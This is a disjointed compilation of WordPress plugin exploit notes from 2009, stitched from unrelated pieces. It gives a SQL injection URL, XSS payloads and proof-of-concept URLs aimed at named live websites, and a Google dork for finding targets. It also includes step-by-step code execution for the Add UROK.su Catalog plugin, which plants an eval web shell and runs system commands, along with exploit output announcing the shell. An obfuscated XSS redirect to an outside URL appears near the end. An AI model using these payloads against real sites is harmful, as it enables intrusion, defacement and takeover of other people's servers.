http://site.pl/wp-content/plugins/photoracer/viewimg.php?id=-1+union+select+0,1,2,3,4,user(),6,7,8--

	POST: advanced_twitter_widget_value=">{XSS1}<a "
	POST: advanced_twitter_widget_title=">{XSS2}<a "
	POST: advanced_twitter_widget_type=.
	POST: advanced_twitter_widget_count=.

	POST: do=.
	POST: imhuman_api_user=">{XSS1}<a "
	POST: imhuman_api_key=">{XSS1}<a "
	POST: imhuman_row=.
	POST: imhuman_col=.
	POST: imhuman_sel=.
	POST: imhuman_word=.

WordPress Plugin Wordpress Toolbar 2.1.1 pXSS & PDisclosure
http://wordpress.org/extend/plugins/wordpress-toolbar/
http://abhinavsingh.com/blog/2009/02/wordpress-toolbar-plugin/

Dork: "inurl:wp-toolbar.php"

## ## ## ##

eLwaux(c)2009 UASC.org.ua

## ## ## ##

Path Disclosure

/wp-content/plugins/wordpress-toolbar/wp-toolbar.php
( call to undefined function add_action() )
-----------------------------------------------------------------
1:  <?php
12: include_once("socialsites.php");
14: add_action('admin_menu','wordpress_toolbar_admin');
-----------------------------------------------------------------

example:
 http://www.watblog.com/wp-content/plugins/wordpress-toolbar/wp-toolbar.php
 http://www.maktabe.com/wp-content/plugins/wordpress-toolbar/wp-toolbar.php
 http://helenoticias.com/wp-content/plugins/wordpress-toolbar/wp-toolbar.php
 http://seattlesocialmedia.com/wp-content/plugins/wordpress-toolbar/wp-toolbar.php


## ## ## ##

XSS

/wp-content/plugins/wordpress-toolbar/toolbar.php
-----------------------------------------------------------------
30:    $tourl = $_GET['wp-toolbar-tourl'];
42:    $blogtitle = $_GET['wp-toolbar-blogtitle'];
52:       <title><?php echo $blogtitle; ?> - Toolbar</title>
56:       <iframe frameborder="0" noresize="noresize" src="<?php echo $tourl; ?>"
-----------------------------------------------------------------

PoC: 
 wordpress.site/wp-content/plugins/wordpress-toolbar/toolbar.php?wp-toolbar-blogtitle=</title>{XSS}
 wordpress.site/wp-content/plugins/wordpress-toolbar/toolbar.php?wp-toolbar-tourl=">{XSS}<div id="

example:
 http://www.alymelfashionfusion.com/Blog/wp-content/plugins/wordpress-toolbar/toolbar.php?wp-toolbar-blogtitle=</title><script>alert(/xss/);</script>
 http://www.pclinuxos.hu/wp-content/plugins/wordpress-toolbar/toolbar.php?wp-toolbar-blogtitle=</title><script>alert(/xss/);</script>
 http://www.watblog.com/wp-content/plugins/wordpress-toolbar/toolbar.php?wp-toolbar-tourl="><script>alert(/xss2/);</script><div%20id="

Wordpress plugin Add UROK.su Catalog < 1.03 Code Execution Exploit
------------
http://wordpress.org/extend/plugins/add-uroksu-catalog/
Add UROK.su Catalog
Version: 1.03
------------

\wp-content\plugins\add-uroksu-catalog\urok.su.class.php
----------------------------------------------------------------------
|56|  if (isset($_POST['UPDATE'])) {
|57|     MyUROKsu_user=$_REQUEST['login'];
|58|     $file_name=$file_name=dirname(__FILE__).'/login.txt';
|59|     $w=fopen($file_name,'w');
|60|     fwrite($w,$MyUROKsu_user);
|61|     fclose($w);
|62|     print($this->update_catalog($MyUROKsu_user));
|63|     echo '</p>';
|64|  }
----------------------------------------------------------------------

Steps to code execution:
1) /wp-admin/options-general.php?page=urok_su_wp/urok_su_wp.php
   POST: UPDATE=.& login=<?php=@eval($_GET['c']);?>
   (your code will be saved to file:
    /wp-content/plugins/add-uroksu-catalog/login.txt)
2) include this file & code execute:
   /wp-admin/admin.php?page=add-uroksu-catalog/login.txt&c=system('id');

perl exploit:
----------------------------------------------------------------------

----------------------------------------------------------------------



simple result on localhost:
----------------------------------------------------------------------
> expl.pl http://localhost/cms/wordpress/ admin "4#@!v^w!*)kW"

  WP ] add-uroksu-catalog < 1.03 [ exploit
  eLwaux(c)uasc 2009

  -   good login:password!
 ..   sending exploit..
  +   exploit send!
  +   result of test1: Apache/2.2.11 (Win32) PHP/5.2.9-2
  +   result of test2: C:/wamp/www/cms/wordpress/wp-admin/admin.php
  !   FINISH!

 !!   your shell:
      http://localhost/cms/wordpress/
      wp-admin/admin.php?page=add-uroksu-catalog/login.txt&c={eViLcOdE}
----------------------------------------------------------------------

http://www.site.com’onmousemove=’location.href=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,118,117,108,46,107,114,47,63,112,61,53,54,57);

$comment_author_url = str_replace(chr(39),”,$comment_author_url);
$comment_author_url = str_replace(chr(59),”,$comment_author_url);
$comment_author_url = str_replace(chr(44),”,$comment_author_url);